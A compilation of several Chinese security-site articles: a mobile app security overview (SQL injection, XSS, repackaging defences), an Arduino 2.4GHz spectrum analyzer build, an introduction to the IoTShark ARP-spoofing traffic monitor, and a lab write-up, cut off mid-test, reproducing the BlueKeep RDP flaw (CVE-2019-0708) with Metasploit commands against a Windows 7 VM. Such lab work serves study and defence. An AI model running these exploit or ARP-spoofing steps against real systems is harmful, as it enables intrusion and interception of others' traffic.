风起云涌的高科技时代,随着智能手机和iPad等移动终端设备的普及,人们逐渐习惯了使用应用客户端上网的方式,而智能终端的普及不仅推动了移动互联网的发展,也带来了移动应用的爆炸式增长。层出不穷的攻击方式无疑是对我们现阶段大家生活必不可少的工具——手机带来更多的烦恼与危害。

网站移动客户端的使命

1、首先,做移动客户端,这是一个商业行为,其本质和动力是一种商业诉求,而不仅仅是一个技术开发和用户体验的考量;

2、对于网站来说,竞争的本质是抢夺用户的时间,由于移动硬件的丰富和普及,用户的时间从PC端分离出来很大一部分给移动端,所以,从抢用户时间的角度来讲,移动端是一个新战场,必打。

3、避免被浏览器绑架流量入口,降低对搜索引擎的依赖度,同时APP可以做到快捷、安全、界面的一致,用户使用APP的时候不会受到第三方的任何干扰。

移动APP面临的威胁

在海量的应用中,APP可能会面临如下威胁:

这是从黑客攻击角度来分类的。然后,简单介绍一下手机中最常见的威胁方式。在这里,我们从木马病毒说起。

手机病毒。手机中的软件,嵌入式操作系统(固化在芯片中的操作系统,一般由J**A、C++等语言编写),相当于一个小型的智能处理器,所以会遭受病毒攻击。而且,短信也不只是简单的文字,其中包括手机铃声、图片等信息,都需要手机中的操作系统进行解释,然后显示给手机用户,手机病毒就是靠软件系统的漏洞来入侵手机的。手机病毒要传播和运行,必要条件是移动服务商要提供数据传输功能,而且手机需要支持 Java等高级程序写入功能。现在许多具备上网及下载等功能的手机都可能会被手机病毒入侵。

手机病毒可能造成的危害主要表现在以下五个方面。

危害一:侵占手机内存或修改手机系统设置,导致手机无法正常工作。手机的工作原理与电脑类似,有专家认为手机就是经过简化的电脑设备,手机的正常运转必须依赖一定的软件和硬件环境。危害二:盗取手机上保存的个人通讯录、日程安排、个人身份信息等信息,对机主的信息安全构成重大威胁。危害三:传播各种不良信息,对社会传统和青少年身心健康造成伤害。危害四:攻击和控制通讯“网关”,向手机发送垃圾信息,致使手机通讯网络运行瘫痪。

木马病毒。是一种计算机黑客用于远程控制计算机的程序,一旦进入就会驻扎在计算机里,随着计算机的运行而自动运转,对目标计算机进行特殊的操作,一般是窃取密码和重要文件,对控制计算机实施监控和资料修改等操作。木马病毒能正常工作必须由客户端程序和服务端程序建立网络通信,这种通信是基于IP地址和端口号的。一般客户端不是木马程序,服务端才是木马程序,隐藏在服务端的木马程序一旦被触发,就会不断将通信的IP地址和端口号发给客户端,客户端利用服务端发出的信息与服务端建立一条通信线路,最终通过这条线路来控制服务端的计算机。

接下来,我们提出一些安全小常识。

手机病毒的预防

1)乱码短信、彩信,删。乱码短信、彩信可能带有病毒,收到此类短信后,立即删除,以免感染手机病毒。 

2)不要接受陌生请求。 利用无线传送功能比如蓝牙、红外接收信息时,一定要选择安全可靠的传送对象,如果有陌生设备请求连接最好不要接受。因为,手机病毒会自动搜索无线范围内的设备进行病毒的传播。

3)保证下载的安全性。 现在网上有许多资源提供手机下载,然而很多病毒就隐藏在这些资源中,这就要求用户在使用手机下载各种资源的时候确保下载站点是否安全可靠,尽量避免去个人网站下载。 

4)选择手机自带背景。 漂亮的背景图片与屏保固然让人赏心悦目,但图片中带有病毒就不爽了,所以用户最好使用手机自带的图片进行背景设置。

5)不要浏览危险网站。 比如一些黑客,非法网站,本身就是很危险的,其中隐匿着许多病毒与木马,用手机浏览此类网站是非常危险的。

其实,这些都只是进行预防,正所谓“防患于未然嘛”!如果我们担心在使用手机软件的过程中,不小心中招了,那也不用怕。从现在开始,你完全可以下载一个管理手机的安全性APP,这样一来,就可以利用可靠的安全软件智能的去管理我们的手机。

接下来,小编带大家从实际生活中的案例来总结总结。

手机客户端安全吗?

前期,估计大家都被不法分子通过复制大家手机中的移动支付APP盗刷新闻给震撼了。而这件事的轰动是相当大的,我们有在往期的报告中提到过,这里再次帮大家简单提及一下。

主要是骗子可以利用短信和消息发送一个带有恶意代码的链接,点击的受害者自己的理财APP将会被克隆在远程。对,这就是“应用克隆技术”。一经出现,引发了不少网民的恐慌情绪。一些一度被认为威胁不大、厂商也不重视的安全漏洞,竟然能“克隆”用户账户、窃取隐私信息、盗取账号及资金……营造安全移动支付环境,容不得一丝侥幸。手机厂商、应用开发商、网络安全研究者应携起手来,共同落实网络安全法及其他法律法规要求,彻底堵死可能的风险与漏洞。

所以,不明来历的链接不要点;不明来历的二维码不要扫;及时关注官方动态进行app的升级。另外,不要为了方便而取消安全性加强的密码设置。

为了帮助大家顺利预防危害,我们可以从下图简单了解一下。

防止账户被盗刷,有以下几个小窍门:

第一,用自己的手机号绑定理财手机应用。如若绑定自己的手机号,能够在账户产生交易时或是账户异常时及时将相关信息发送至手机上,用户可以随时了解自己的账户动态;在更换手机号后,要第一时间联系银行和理财服务人员,更改绑定手机号;如果手机丢失,应第一时间联系银行和理财服务人员取消相关的手机绑定业务,或采取挂失、冻结账户等方式进行钱财保护。

第二,保管好自己的账号密码、身份信息及手机。不轻易泄露自己的***号、***号、手机号码,不随意将装有理财应用的手机长时间交给他人使用。

第三,关闭理财APP内置功能提高安全性。设置安全系数较高的密码、关闭“小额免密”功能、取消手机APP自动登入模式等措施都能够提高使用理财APP的安全性。

第四,避免使用不可信的网站或公共wifi。强化警惕意识,在发现自己账户异常时,及时与理财产品公司取得联系。

当然,我们还可以从其他安全角度去分析。

移动端的客户端,用户贡献内容积极踊跃,内容品质利他有一定价值?

此类贡献积极的app,具备如下特点:

1,贡献入口在一级界面,固定位置,随时调用,有安全感。

2,用户关系导入方便,方便用户回应互相反馈,个人交际圈内保持动态感。

3,发布流程简单,清晰,容易理解,发布之后即可见到,获得及时回馈。

4,个人页面累积内容,敏感字段展示。

5,用户轻松可以发现更大范围的用户精彩内容、搜索到所需信息。

6,内容复杂多样,往往存在内部链接至其他软件内部内容推广,指多级跳转的现象很多。

7,以时下较为吸引的画面作为广告或者新闻,骗取点击量和浏览量。

以上现象的APP其实都很值得大家思考。

而且,大家有没发现,虽然你手机里装了很多软件,但要比起来最浪费时间的app,应该是具备如上设计特点的app了。然后就是游戏?

APP总体性安全

下面,从APP总体性安全说一下。这里,我们不妨说的稍微专业一点。大致可分为下面几个点:

iOS由于系统封闭,相对安全一些,所以部分安全措施只需要在安卓平台考虑,下面就不做特殊说明了。

一、接口安全

1. HTTPS

HTTPS不再像以前那样是少数金融APP的专利了,特别是iOS从9.0开始默认采用HTTPS,HTTPS基本成为了标配。

2.加密算法

如果光用HTTPS还不够放心,那你也可以用自己的密钥再对接口中的敏感信息进行加密。加密时非对称、对称加密算法最好配合使用,这样既能利用到非对称加密算法的安全性,又能避免其加密内容太长时的性能问题。一般做法是用RSA算法加密传输AES算法的密钥,然后用AES算法加密具体信息。

3. deviceID和Token

大多数情况下,我们需要获取唯一设备号,方便数据统计,以及和用户名密码关联生成token。iOS因为安全原因,已经无法正确获取uniqueIdentifier和MAC地址,而安卓因为生态过于繁杂,在某些机型上取imei、mac也经常会存在问题,所以在两个平台都可以用一个非常偷懒的方法,即直接在本地生成一个UUID作为deviceId并缓存起来。

服务器结合deviceID、用户名密码、时间戳等生成一个token,返回给客户端,之后客户端每次请求必须把token放在http头里返给服务器,这样服务器才会受理请求,返回信息。此外token还应根据自身情况设计一个失效机制,比如2周内没访问过就失效

二、 安装包安全

1.验证包完整性

由于安卓市场的鱼龙混杂和安卓平台的开放性,很容易就被一些不法分子利用,反编译后植入后门代码再重新打包给无知群众使用,以从中牟利。所以我们很有必要去验证包的完整性。这里有几个思路,一是验证签名,二是验证dex文件,三是验证apk,具体的验证可以使用CRC32、MD5这类数据摘要算法。

一个必须要注意的点是如果把用于比对的正确值存放在本地java代码中,就很容易被黑客反编译利用,即使用接口从服务器去获取这些数据,相关的验证代码也很有可能被反编译后去除,那么比较稳妥的做法是把安全验证和必要的初始化过程捆绑起来放在so的C++代码中去处理,通过 JNI 进行调用,这样黑客就没那么方便反编译和绕过安全验证相关代码了。

2.防动态注入

比较简单省事的方案是在进行安全验证时检查手机是否root,并检查进程中是否有常见的hook工具如Cydia Substrate或者Xposed等,如有,则提醒用户并直接关闭客户端。

3.加壳

对于apk来说,只要能反编译,那么花上足够多的时间和耐心,总归可以慢慢破解,那么更有效的方案就是给apk加壳了。所谓加壳,简单说就是把要加壳的目标apk加密,然后在外面再套一层壳apk,在使用时壳apk负责解密原apk,并通过DexClassLoader动态加载。整个过程还是有点复杂的,索性网上相关的文章不少,有兴趣可以去搜来参考。

三、系统安全

1.自定义键盘

系统自带的键盘很可能会被劫持,所以大多数涉及钱的app都很有必要写一个自己的键盘组件。特别是输入密码所用的键盘,最好还能随机生成数字的位置。

2.防截屏

黑客很有可能控制手机,偷偷的给APP截屏,这样你的屏幕上有敏感信息时,比如每次输入密码会有短暂的字母显示,就会暴露,这时候就需要有防截屏的功能。谷歌自己就提供了这个功能,只需要在每个Activity的setContentView()方法前加上下面这段代码就可以了:

getWindow().setFlags(LayoutParams.FLAG_SECURE,LayoutParams.FLAG_SECURE);

3.在移动端管理session是一个比较重要的点。我们都知道,大多数的客户端所有功能的实现都需要大家进行身份的验证,比如手机号和一些个人信息,当然,敏感的的可能还会用到***。接下来,从专业的角度来简单说说。客户端与服务器端通信往往需要维持通信会话,而会话的保持各家公司有各家公司的做法,但是大致方法都是相同,就是首次登陆的时候从服务器端拿回一个token,而这个token有一定的过期时间。这里提供一种简单的方法,就是登陆时拿到账号密码作为参数通过接口进行登陆(https),登陆成功后会返回token,之后所有与服务器的通信都要带上这个token,至于这个token如何携带也有多种方法,可以通过请求头,也可以通过参数,不同公司不同做法。服务器返回数据的同时刷新token并返回新token,客户端接收数据的同时保存新token作为下次请求使用。当然这样做只是使用了一个token,有些是一个请求token,一个刷新token,请求token的有效期较短,刷新token的有效期较长,当请求token过期后使用刷新token刷新请求token。总之做法很多,就看你怎么使用了。

四、APP本身存在一些安全隐患

目前的互联网存在着两种不同的信息获取方式那就是WEB和 移动客户端,面对与传统的WEB方式,APP可谓是增长迅猛,大有取而代之的趋势。所以,移动客户端安全安全和web安全是息息相关的。我们就可能存在的检测点从数据的传输方面来简单的来谈一谈可能存在的漏洞点。

1.SQL注入:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。一般存在于登录界面。

2.XSS:跨站脚本攻击,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。存在于表单标签中。

3.SSL:安全套接层协议,是为网络通信提供安全及数据完整性的一种安全协议。

4.CSRF:通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

5.敏感信息泄露:用户在使用APP的时候,设置代理抓到的包中,包含已登录用户的一些个人信息,这里有可能存在用户名、密码的明文传输。

6.会话标识未更新:已经登录的用户正常/非正常退出,往往可以通过获取正常用户登录成功后,具有唯一标识的信息,来模仿用户登录成功的操作使其在线,然后就可以使用该用户的账号。

7.任意用户注册漏洞:此类漏洞并不危害到用户信息泄露,但是别有用心的黑客可能会利用此漏洞注册任意手机号码,并利用此注册账号去社工号码主人的朋友或者家人。

8.后台弱口令:一般是由那些懒人制定的弱密码而来的。

9.越权:身份相等的同级用户。当然,也可以让自己体验更高权限的账号。

10.文件上传:在你上传文件、照片时候,更改传输信息中的文件类型。

很明显,上面这些漏洞往往是由于后台开发者疏忽导致的。所以,APP本身的安全,其实大部分权利还是掌握在开发人员手里的。

小结

安全是极难做到100%的,更多的情况是道高一尺魔高一丈,但是尽量多的安全保障,可以让别人的破解成本指数级的提高,直至让人觉得破解你的客户端性价比太低了。还是那句话,如果你和另一个人在野外遇到一头豹子,你想要逃生,不需要跑的比豹子快,只需要跑的比另一人快就够了。

*本文作者:HackerButWhite,转载请注明来自FreeBuf.COM

作为一名电子爱好者,自己动手制作一些简单的硬件小设备还是非常有趣的。我之前也是发布了《制作HackCube中的坎坎坷坷》。这次带来的是一个简易的频谱仪。

说先要说一下为什么要制作这个小东西。

1. 为了装13

2. 为了看一下附件2.4G频段的信号,尤其是一些使用2.4G频段的航模爱好者,他们使用的遥控器是2.4G的,如果在这个频段范围内有太多的信号,可能会造成一些不可预料的影响。

3. 当然了为了制作这个的最直接的原因是手上有这些模块并且最近在研究频谱仪,频谱仪的价钱还是相当的贵的。制作的过程中,学习一些设备的通信的原理。比如这个里面就有IIC和SPI两种通信协议。

制作的材料:

1. Arduino uno开发板一块(我是用的是uno,当然了你也可以使用Nano等一些其他的开发板)

2. IIC接口的OLED显示屏一块好像是128*64的。淘宝上面有一堆,价钱也不是很贵。我选的是蓝色的,当然还有上半部分是黄色下半部分是蓝色的,你想要什么样的你自己做决定。当然了,你也可以尝试在一些更大的显示设备上面显示(TFT彩屏)

3. 射频模块nRF24L01:这个小东西网上也有很多型号的,什么邮票孔的啦,焊好排针的啦。这个也是随你的。

4. 其他:焊接工具,连接线,电源等

说完基本的硬件设备接下来就是软件问题了。刚刚开始的时候我是准备使用STM32F103制作这个小东西的。但是我发现有点麻烦,因为是寄存器入手32的,配置寄存器实在麻烦,我就想着能不能找一些已经完善的库来开发。我这个时候脑子一热,Arduino里面的集成库那个叫多啊。我就去网上查找了一些这方面的资料。结果不找不知道一找吓一跳。网上已经有大神做出来了。那我就算啦,直接跟着他们做吧。我看了网上有不少版本。

不过都是基于Arduino的,估计是Arduino里面有集成好的库文件吧。

开干

把程序烧入Arduino。就是简简单单的一步,还是有很多人出现问题。

首先第一点就是开发板没选好

我太难了,我把下载好的项目文件发给别人,他们还有人问我为什么下载失败。我过去一看,真的是各种问题。

第二点就是项目的文件不在一个文件夹里面

正常情况下你直接打开IDE文件的时候IDE会自动加载需要的库文件,但是不排除少数情况下,她找不到库文件。

第三,系统缺少库文件,对于我经常使用arduino来说电脑里面很多的库文件都是有的,如果说你在编译的时候出现了编译失败,并且还告诉你缺少了什么库文件,那你就下载相应的库文件吧。我这里还是演示一下吧

要什么库安装什么库。再不行那就去百度问问。

说完了一些错之后我就简单的说一下IIC和SPI的通信协议吧,至于我为什么用IIC的OLED,为什么使用SPI的射频模块。第一点我在网上购买射频模块的时候出来的都是SPI的,所以我也没得选择,不过OLED倒是有很多种,因为IIC的使用的线少,所以我就选择了使用IIC。最主要的是别人开源的里面就使用了IIC的,我不想改代码啦。

说一下IIC:相信很多小伙伴第一次使用IIC的时候应该是单片机开发板上面的EEPROM芯片。当时我学习51单片机的时候,STC89C51没有IIC的专用引脚,只能使用引脚模拟IIC啦。不过这样我感觉对IIC的协议的学习还是非常有帮助的。

一. 技术性能:

工作速率有100K和400K两种;

支持多机通讯;

支持多主控模块,但同一时刻只允许有一个主控;     

由数据线SDA和时钟SCL构成的串行总线;

每个电路和模块都有唯一的地址;                   

每个器件可以使用独立电源

二. 基本工作原理:

以启动信号START来掌管总线,以停止信号STOP来释放总线;当SCL为高时,SDA下跳为起始信号,上跳为停止信号。

每次通讯以START开始,以STOP结束;

启动信号START后紧接着发送一个地址字节,其中7位为被控器件的地址码,一位为读/写控制位R/W,R. /W位为0表示由主控向被控器件写数据,R/W为1表示由主控向被控器件读数据;

当被控器件检测到收到的地址与自己的地址相同时,在第9个时钟期间反馈应答信号;

写通讯过程:

1. 主控在检测到总线空闲的状况下,首先发送一个START信号掌管总线;

2. 发送一个地址字节(包括7位地址码和一位R/W);

3. 当被控器件检测到主控发送的地址与自己的地址相同时发送一个应答信号(ACK);

4. 主控收到ACK后开始发送第一个数据字节;

5. 被控器收到数据字节后发送一个ACK表示继续传送数据,发送NACK表示传送数据结束;

6. 主控发送完全部数据后,发送一个停止位STOP,结束整个通讯并且释放总线;

读通讯过程:

1. 主控在检测到总线空闲的状况下,首先发送一个START信号掌管总线;

2. 发送一个地址字节(包括7位地址码和一位R/W);

3. 当被控器件检测到主控发送的地址与自己的地址相同时发送一个应答信号(ACK);

4. 主控收到ACK后释放数据总线,开始接收第一个数据字节;

5. 主控收到数据后发送ACK表示继续传送数据,发送NACK表示传送数据结束;

6. 主控发送完全部数据后,发送一个停止位STOP,结束整个通讯并且释放总线;

四. 总线信号时序分析

1. 总线空闲状态

SDA和SCL两条信号线都处于高电平,即总线上所有的器件都释放总线,两条信号线各自的上拉电阻把电平拉高;

2. 启动信号START

时钟信号SCL保持高电平,数据信号SDA的电平被拉低(即负跳变)。启动信号必须是跳变信号,而且在建立该信号前必修保证总线处于空闲状态;

3. 停止信号STOP

时钟信号SCL保持高电平,数据线被释放,使得SDA返回高电平(即正跳变),停止信号也必须是跳变信号。

4. 数据传送

SCL线呈现高电平期间,SDA线上的电平必须保持稳定,低电平表示0(此时的线电压为地电压),高电平表示1(此时的电压由元器件的VDD决定)。只有在SCL线为低电平期间,SDA上的电平允许变化。

5. 应答信号ACK

I2C总线的数据都是以字节(8位)的方式传送的,发送器件每发送一个字节之后,在时钟的第9个脉冲期间释放数据总线,由接收器发送一个ACK(把数据总线的电平拉低)来表示数据成功接收。

6. 无应答信号NACK

在时钟的第9个脉冲期间发送器释放数据总线,接收器不拉低数据总线表示一个NACK,NACK有两种用途:

a. 一般表示接收器未成功接收数据字节;

b. 当接收器是主控器时,它收到最后一个字节后,应发送一个NACK信号,以通知被控发送器结束数据发送,并释放总线,以便主控接收器发送一个停止信号STOP。

五. 寻址约定

地址的分配方法有两种:

1. 含CPU的智能器件,地址由软件初始化时定义,但不能与其它的器件有冲突;

2. 不含CPU的非智能器件,由厂家在器件内部固化,不可改变。

这里的解释还是https://www.cnblogs.com/yan0837/articles/1202374.html

为什么要说这个协议呢,目前IIC的通信相对与其他一些高速的通信协议来说还是比较慢的,我看到过有人通过分析IIC最后逆向破解了一个小设备。大家如果对这方面的资料感兴趣的话,可以自己去找资料看看。

不过在我们这个小项目种就会有一个问题,那就是你买回来的OLED的地址不一样,导致你烧入程序之后不能正常工作。

很多小伙伴问我他的显示屏为什么不显示,我查来查去最后发现他买的IIC的地址和我的不一样,只要在OLED库文件里面修改IIC的地址就好了。

IIC的通信我是玩过了,大概也能根据时序图写一个程序出来,但是SPI还是没有尝试过。在些这篇文章的时候我还不是很了解,所以我这里也不说什么了,怕误导大家。

最近在研究这些代码。

我自己的小设备借给别人玩了。所以也没什么照片放上来,不过我想抽空画一个PCB。做一个简易版。比较就算使用arduino Nano还是有点臃肿,如果有PCB的话,就可以做的非常的小巧。如果有志同道合的人愿意一起搞这些东西的话,我十分开心。

所有的代码在github上面都有。大家可以自己搜索一下。

之前的文章种写过一个HackCube的文章,我自己也买了CC1101的射频模块,我准备有空自己制作一个小的设备,这个小设备就对1Ghz一下的信号进行分析,尤其是对一些固定码的研究,虽然HackCube已经实现了相应的功能但是我还是喜欢自己研究并且开发一下。

说一下这个小设备的效果,她能在2.41G到2.51G范围内不断扫描,然后将有信号的频段通过OLED显示出来。大家不要害怕制作完了之后周围没有2.4G的信号源给你测试,你会发现你家的路由器也是使用2.4G的频段。当然也有不少是5Ghz的。那你可以带上你的小设备去户外看看。

至于我文章中说到的关于IIC的逆向,我在国外的一些视频网站上面看到过,大家自行查找。如果有志同道合,对硬件,和硬件安全感兴趣的朋友可以留言哦。

至于这个小设备准不准,那我也不清楚,因为我也没有设备测量,只能提供参考吧。如果有人想打板子做的话也可以的。

*本文原创作者:LEdge1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

IoTShark

IoTShark是一款物联网监控服务平台,它可以帮助广大研究人员监控其物联网设备所发送或接收的数据趋势。通常情况下,采取适当的配置来设置中间人攻击测试需要花费相当长的时间,对于那些在计算机安全甚至计算机科学方面几乎没有经验的人来说,这几乎是一项不可能完成的任务。

IoTShark旨在通过运行一个脚本来安全研究人员提供一个几乎全自动化的解决方案,并监控他们的物联网设备。研究人员只需要选择他们想要监视的设备,这个程序将通过发动ARP攻击、设置包转发和中间人包嗅探器来处理其余的繁重工作。它还有一个易于使用和交互的Web UI,用户可以根据端口、类型和时间戳过滤数据包,从而更广泛地了解传输的数据量和时间。

除此之外,IoTShark还可以对某些类型的数据进行数据分类,例如heartbeat消息、数据传输和异常等等。

工具下载

广大研究人员可以使用下列命令直接将本项目源码克隆至本地:

git clone https://github.com/sahilmgandhi/IotShark.git

工具使用

注意,该工具的正常运行需要安装Python 3环境。

首先,运行下列命令安装该工具的必要依赖库:

$pip3 -r requirements.txt

接下来,设置IP转发:

$sudo sysctl net.inet.ip.forwarding=1

最后,使用下列命令运行IoTShark:

sudo python3 mitm_main.py

主程序脚本

创建一个Python Virtual虚拟环境,然后安装相关的依赖组件包:

virtualenv –python=`which python3` venv

source venv/bin/activate

python -r requirements.txt

确保你的本地主机开启了数据包转发功能,这一点对于实现中间人攻击来说是非常重要的,在macOS上,我们可以通过下列命令来完成配置:

sudo sysctl net.inet.ip.forwarding=1

配置完成后,我们就可以运行主程序脚本“mitm_main.py”了。

当前版本的主程序脚本会完成以下几件事情:

1、扫描目标子网中的所有主机,子网通过-s参数来进行配置;

2、扫描每一台主机的硬件厂商以及操作系统信息;

3、在被选主机和网关路由器间执行ARP攻击;

4、将捕捉到的数据以图形化的形式输出给用户,该功能需要通过-f参数启用;

在ARP攻击完成之后,我们就可以通过WireShark来测试目标设备间的捕捉流量了,设置的过滤器如下所示:

(ip.src==192.168.0.215 or ip.dst==192.168.0.215) and tcp.port != 443

数据文件格式

捕捉到的数据将以csv文件格式进行存储,数据结构格式如下所示:

{timestamp, incoming_bytes, outgoing_bytes, srcport, dstport, transfer_protocol, connection_protocol, srcip, dstip}

123123213, 0, 240, 36, 80, 65124, HTTP, UDP, 192.168.0.215, 104.24.4.5

123123240, 300, 0, 800, 443, 65125, HTTPS, TCP, 104.24.4.5, 192.168.0.215

项目地址

IoTShark:【GitHub传送门

* 参考来源:sahilmgandhi,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

前言

在CVE-2019-0708公布后几天就已经尝试过复现该漏洞,但借助当时exp并没能成功复现反弹shell的过程遂放弃,故借助这次漏洞复现报告再来尝试复现该漏洞,因为还在大三学习中,有很多知识还没有掌握,出现的错误希望得到指正,也想借此给19年的学习画上句号,希望这次可以成功吧。

漏洞背景

CVE-2019-0708 | 远程桌面服务远程执行代码漏洞

安全漏洞发布时间: 2019-05-14

MITRE CVE-2019-0708

当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时,远程桌面服务(以前称为“终端服务”)中存在远程执行代码漏洞。此漏洞是预身份验证,无需用户交互。成功利用此漏洞的攻击者可以在目标系统上执行任意代码。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

若要利用此漏洞,攻击者需要通过 RDP 向目标系统远程桌面服务发送经特殊设计的请求。

可以看到其中利用的RDP即远程桌面端口3389,RDP协议,所带来的危害是不可估量的,当达到预想中的任意执行的攻击效果,后续利用便多种多样起来了。

准备工作

靶机布置

根据公布的poc详情中可以得之该漏洞影响范围如下

影响系统:windows2003、windows2008、windows2008 R2、windows xp 、win7

这里选用win7系统来布置靶机,使用的系统版本为旗舰版sp1

在VMware中常规安装好win7虚拟机后根据漏洞利用要求开启3389端口,最终布置结果如下

攻击机布置

因为这次攻击使用的是metasploit-framework中提供的cve_2019_0708_bluekeep_rce所以使用已经预装有msf的Kali Linux-2019.03但其实后续过程中还是遇到了很多预料之外的情况,在后文中会讲到。

在Kali中准备好GitHub页中提供的exp与配套扫描器

最终测试环境

攻击机:Kali IP:192.168.26.135

靶机:Win7 IP:192.168.26.134(开放3389端口)

工具:MSF框架

漏洞攻击

以下是在进行漏洞复现过程的整理以及遇到的各种各样预料之外的问题及我所能找到的并确实解决了我遇到问题的相关解决方案。

框架载入模块时遇到的问题

模块加载失败

按照第一次复现时的思路,就是将exp等文件放入MSF对应目录中使框架加载,但是这次却出现了框架无法加载对应模组的问题,

查看framework.log得到如下信息

......
[12/28/2019 02:47:10] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[12/28/2019 02:47:10] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[12/28/2019 02:47:11] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[12/28/2019 02:47:11] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[12/28/2019 02:47:12] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/onprem_enum.go Errno::ENOENT No such file or directory - go /opt/metasploit-framework/embedded/lib/ruby/2.6.0/open3.rb:213:in `spawn'
......

寻找解决方案

对于出现该问题的原因还未知,这里我尝试重新从MSF重新获取安装,但问题似乎仍未解决,仍然会出现0708的对应模组未能成功加载的问题,在百度无果之后,终于在某404搜索引擎帮助下得到了线索,在参考了以下文章及issue后

Playing with the BlueKeep MetaSploit module

Can not load another module #12321

Getting the Bluekeep Exploit-Twitter

Getting the Bluekeep Exploit

决定尝试使用git-bundle的方式来重新安装我的MSF框架,这样子的好处就是可以直接获取Github上已经含有cve-2019-0708的框架版本,而不用手动下载添加,避免了未知的干扰因素

尝试新安装方式

新的安装方式首先要将项目git-clone至本地,布置过程如下

[email protected]:~/Desktop# git clone --single-branch --branch bluekeep https://github.com/busterb/metasploit-framework  
Cloning into 'metasploit-framework'

因为克隆过程极为缓慢,即使设置代理之后也提不上速度,所以消耗了不少的时间,当克隆完成后进入该目录,用对应命令进行安装

[email protected]:~/Desktop/metasploit-framework# bundle install

但是…接下来的一连串情况是万万没想到

安装过程中又遇到的问题

因为通过bundle安装中,需要安装许多的对应组件,而我是第一次尝试这样的安装,所以很多相关依赖没有安装,

其中就包括zlib、zliblg-dev、libpq-dev、libpcap-dev,通过以下命令安装后重新执行安装命令

sudo apt-get install zlib1g
sudo apt-get install zlib1g.dev
sudo apt-get install libpq-dev
sudo apt-get install libpcap0.8-dev

最终出现该样式便是安装成功

如果出现的是其他的绿色字体似乎也是安装成功的标志,只要不是鲜红色的报错

攻击过程

重新安装好框架后启动程序

这里有一个要注意的点,因为重新用git-bundle安装了框架,所以启动的时候要对应的使用./msfconsole而不是平时一样使用msfconsole,这样进入的才是重新安装的MSF框架,进入后用search命令搜索,可以看到已经有cve-2019-0708exp,用对应命令使用该exp

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

利用分析

终于顺利的来到了漏洞利用的第一步了,首先来看看该exp需要的参数

可以看到主要设置的参数有RHOSTS / RPORT / target

RHOSTS 靶机IP

RPORT RDP端口

target ID(可选0~7)设置靶机机器架构

从这里可以看到MSF框架更新了target列表的信息,对比旧版的靶机架构列表

明显看出对于靶机的架构相对于exp公布初期,进行了更详细的划分,通过相关分析可推测该漏洞利用点就是系统因二次释放造成堆内存被破坏,exp则利用该特点在泄露的内核堆中寻找对应位置劫持控制流,具体可参照52pojie的相关文章-[漏洞分析] CVE-2019-0708 微软远程桌面服务远程代码执行漏洞之漏洞分析与漏洞利用简介

所以对于不同架构的机器,很有可能会出现exp所能利用的漏洞点位置不同从而出现我在第一次尝试复现该漏洞时所出现的攻击只能造成蓝屏而并不能成功反弹shell的结果,所以现在对于细化后的target列表,感觉成功的几率大了一点,同时也参考相关复现成功的案例,将靶机配置调整为2g内存、2核cpu。

攻击中所遇问题

首先,按照说明设置对应的参数值

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.26.134
rhosts => 192.168.26.134
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 4
target => 4
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

这里设置了靶机IP,对应的target架构,然后执行exp,

虽然显示目标存在可利用点,且攻击也已经完成,但是最终并没有按照预定计划创建会话返回shell,这样的攻击仍然是将靶机打蓝屏,并没有成功实现getshell执行任意代码的目的,与第一次复现的结果相同,但因为距离初次披露poc与exp已经有了一段时间,就尝试寻找是否有新的文章提出了对应的解决方法。

尝试解决蓝屏

寻找了很多文章并进行一一的尝试之后,总结了以下不同问题的对应解决方法:

对于我这种攻击成功但仍然出现蓝屏的情况,在我反复测试攻击过程后发现,每次的蓝屏现象基本都是出现在exp进行至该位置时出现

而我在阅读文章中发现有一个问题的解决方案是和这个进度极为相似的

于是尝试将该解决方法应用在我出现的问题中,

终于!成功获得了靶机的控制权

信息一致,终于成功复现了cve-2019-0708

后续测试

因为基于第一次失败的复现,所以靶机上没有开启任何防御措施,包括系统自带防火墙,在成功复现漏洞后我想试试这样子通过内核劫持控制流的攻击方式,会被哪种程度的防御抵挡。

第一次测试

首先开启系统自带防火墙,依旧保持3389端口开启,再次运行exp。

可以看到在开启防火墙的状态下,仍然能够进行攻击且执行任意代码

第二次测试

基于第一次的尝试,开启系统防火墙的同时,安装安全防护软件,在这里我选择火绒作为测试对象,再次执行exp

可以通过显示信息看到,攻击是已经顺利执行了的,并且会话也已经成功建立,但是在恶意进程入驻内核的同时,该会话也被强行终止,退出了控制,这一行为可以在火绒的安全日志中看到

在这里exp的确成功执行并与之前一样成功的进行了进程的入驻,但这一入驻过程被火绒所拦截了下来,并识别为Backdoor进行及时阻止与防护,由此可见,该exp的攻击流程是由底层的内核入侵逐步上升至进程与内存管理器,而当攻击上升到用户应用程序所能监控到的层面时便会被识别且清除,但这里也存在着疑问,当我在攻击行为被火绒拦截之后再次运行命令,我设想的结果是会再次成功执行且被火绒查杀,但结果却是再次将靶机打蓝屏

造成这个问题的原因还未找到有相关的解答,只能留意以后的相关文章了

第三次测试

经过上一次的尝试得知,安全防护软件的确可以在一定程度上对该攻击手段进行一定程度的防范,但第二次的尝试是先开启了安全防护软件,再进行exp攻击,这样的异常进程入驻的确很容易引起查杀,所以我想尝试在已经成功入驻了进程后再开启安全防护,能否通过进程的扫描来发现正在执行代码的会话进程并对其进行查杀清除。

首先将攻击开启,成功执行且getshell。

此时在靶机上并无异常,开启安全防护软件,并进行扫描

